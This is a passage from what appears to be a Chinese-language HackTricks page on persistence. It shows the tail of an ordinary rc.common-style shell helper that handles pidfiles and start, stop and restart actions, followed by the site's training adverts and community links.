rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

持久性技术和工具

tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

查看 订阅计划!
加入 💬 Discord 群组 或 Telegram 群组 或在 Twitter 🐦 上关注我们 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。